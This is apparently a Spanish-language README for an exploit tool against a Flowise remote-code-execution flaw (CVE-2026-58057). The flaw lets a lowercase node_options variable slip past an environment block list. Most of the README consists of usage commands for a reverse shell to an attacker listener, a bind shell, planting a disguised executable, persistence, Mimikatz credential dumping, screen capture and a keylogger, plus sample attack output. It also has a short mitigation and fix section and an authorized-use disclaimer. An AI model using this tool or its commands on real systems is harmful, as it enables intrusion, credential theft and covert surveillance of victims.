Exploit de RCE de Flowise para Windows (CVE-2026-58057). Omite la validación de variables de entorno mediante una falla que distingue entre mayúsculas y minúsculas. Usa node_options para inyectar código arbitrario a través de MCP stdio. Admite reverse shell, persistencia, subida de archivos y volcado de credenciales. Solo para pruebas de seguridad autorizadas.
Este es un exploit de nivel de producción para CVE-2026-58057, una vulnerabilidad crítica de ejecución remota de código en Flowise en plataformas Windows. La vulnerabilidad se origina en una validación de variables de entorno que distingue entre mayúsculas y minúsculas y no bloquea node_options en minúsculas, lo que permite a los atacantes omitir la lista de bloqueo de NODE_OPTIONS y ejecutar código arbitrario a través de la configuración stdio de Custom MCP.
El exploit demuestra prácticas profesionales de ingeniería de software con arquitectura modular, manejo integral de errores y soporte para múltiples tipos de payload.
IMPORTANTE: Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas, pruebas de penetración y fines educativos. El autor no es responsable de ningún uso indebido o daño causado por este software. Obtenga siempre la autorización adecuada antes de probar cualquier sistema.
# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # Only blocks exact uppercase match
raise ValueError(f"Modification not allowed")
El atacante se autentica en Flowise
Crea/Modifica el nodo Custom MCP stdio
Inyecta la variable de entorno node_options en minúsculas
Establece el valor en --require malicious-loader.js
Node.js ejecuta el loader cuando se ejecuta MCP stdio
Se logra la ejecución de código arbitrario
✅ Reverse Shell - Conexión de regreso a la máquina del atacante
✅ Bind Shell - Abre un puerto de escucha en el objetivo
✅ Ejecución de comandos - Ejecuta comandos arbitrarios del sistema
✅ Subida de archivos - Sube archivos al sistema objetivo
✅ Persistencia - Múltiples mecanismos de persistencia
✅ Recopilación de información - Recopila inteligencia del sistema
✅ Volcado de credenciales - Integración con Mimikatz
✅ Captura de pantalla - Captura capturas de pantalla del escritorio
✅ Keylogger - Instala capacidad de registro de teclas
🔐 Múltiples métodos de autenticación - Clave API o nombre de usuario/contraseña
🔄 Lógica de reintento automático - Resistente ante problemas de red
🧹 Autolimpieza - Elimina los archivos loader del objetivo
🌐 Multiplataforma - Funciona en Windows/Linux/macOS
🎨 Salida con colores - Legibilidad mejorada
📊 Depuración detallada - Registro detallado para la resolución de problemas
Python 3.6 o superior
pip (administrador de paquetes de Python)
# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# Install dependencies
pip install -r requirements.txt
# Or minimal installation
pip install requests urllib3
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
python3 exploit.py --help
| Opción | Descripción | Ejemplo |
|---|---|---|
-t, --target | URL de Flowise (requerida) | http://localhost:3000 |
-k, --api-key | Clave API de Flowise | flowise_abc123... |
-u, --username | Nombre de usuario | admin |
-p, --password | Contraseña | password123 |
| Opción | Descripción | Ejemplo |
|---|---|---|
--payload | Tipo de payload | reverse_shell |
--lhost | Host del listener | 192.168.1.100 |
--lport | Puerto del listener | 4444 |
--command | Comando a ejecutar | whoami |
--local-file | Archivo a subir | payload.exe |
--remote-path | Ruta remota de guardado | C:\\Temp\\update.exe |
| Opción | Descripción |
|---|---|
--interactive | Iniciar shell interactivo |
--verbose | Habilitar salida de depuración |
--timeout | Tiempo de espera de la solicitud en segundos |
--retries | Número de reintentos |
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload persistence
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload info_gather
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload screenshot
| Payload | Descripción | Argumentos |
|---|---|---|
reverse_shell | Conexión de regreso al listener | --lhost, --lport |
bind_shell | Abrir puerto de escucha | --lport |
command_exec | Ejecutar comando | --command |
file_upload | Subir archivo al objetivo | --local-file, --remote-path |
persistence | Instalar persistencia | Ninguno |
info_gather | Recopilar información del sistema | Ninguno |
mimikatz | Volcar credenciales | Ninguno |
screenshot | Capturar pantalla | Ninguno |
keylogger | Instalar keylogger | Ninguno |
# Upgrade to version 3.1.3 or later
npm install -g flowise@latest
# or
docker pull flowiseai/flowise:latest
Restringir el acceso a la configuración de Custom MCP
Implementar segmentación de red
Supervisar variables de entorno sospechosas
Usar un firewall de aplicaciones web (WAF)
# Fixed Validation (Case-Insensitive)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous: # Case-insensitive check
raise ValueError(f"Modification not allowed")
[14:32:15] ℹ Starting exploit sequence...
[14:32:15] ℹ Attempting authentication...
[14:32:16] ✓ Authenticated with API key
[14:32:16] ℹ Preparing reverse_shell payload execution...
[14:32:16] ℹ Injecting environment variable...
[14:32:17] ℹ Triggering payload execution...
[14:32:19] ✓ Payload 'reverse_shell' executed successfully!
[14:32:19] ℹ Reverse shell listener ready on 192.168.1.50:4444
[14:32:15] 🔍 Session created with retry strategy
[14:32:15] 🔍 Using existing workspace: ws_123456
[14:32:16] 🔍 Loader written: /tmp/loader_1234_1234567890.js
[14:32:16] 🔍 MCP stdio configuration updated
| Problema | Solución |
|---|---|
| Error de certificado SSL | pip install --trusted-host pypi.org -r requirements.txt |
| Permiso denegado | pip install --user -r requirements.txt |
| Conexión rechazada | Verifica la URL del objetivo y la conectividad de red |
| Autenticación fallida | Revisa la clave API o el nombre de usuario/contraseña |
| El payload falla | Usa --verbose para una depuración detallada |
| Versión de Python | Asegúrate de tener Python 3.6+ instalado |
# Enable verbose logging
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose
# Test connectivity
curl -k https://localhost:3000/api/v1/version
# Check Python version
python3 --version
flowise-CVE-2026-58057-exploit/
├── exploit.py # Main exploit script
├── requirements.txt # Core dependencies
├── README.md # This documentation
├── LICENSE # MIT License
└── CHANGELOG.md # Version history
Haz un fork del repositorio
Crea una rama de características (git checkout -b feature/amazing)
Haz commit de los cambios (git commit -m 'Add amazing feature')
Sube la rama (git push origin feature/amazing)
Abre un Pull Request
Este proyecto está bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.
FlowiseAI por el producto
A los investigadores de seguridad que descubrieron vulnerabilidades similares
A la comunidad de pentesting por las metodologías de pruebas
Autor: Sudeepa Wanigarathna Investigador de seguridad y pentester
Si encuentras útil esta herramienta, considera:
⭐ Marcar el repositorio con una estrella en GitHub
🔔 Seguir para recibir actualizaciones
📝 Reportar problemas o sugerencias
Hecho con ❤️ para la comunidad de seguridad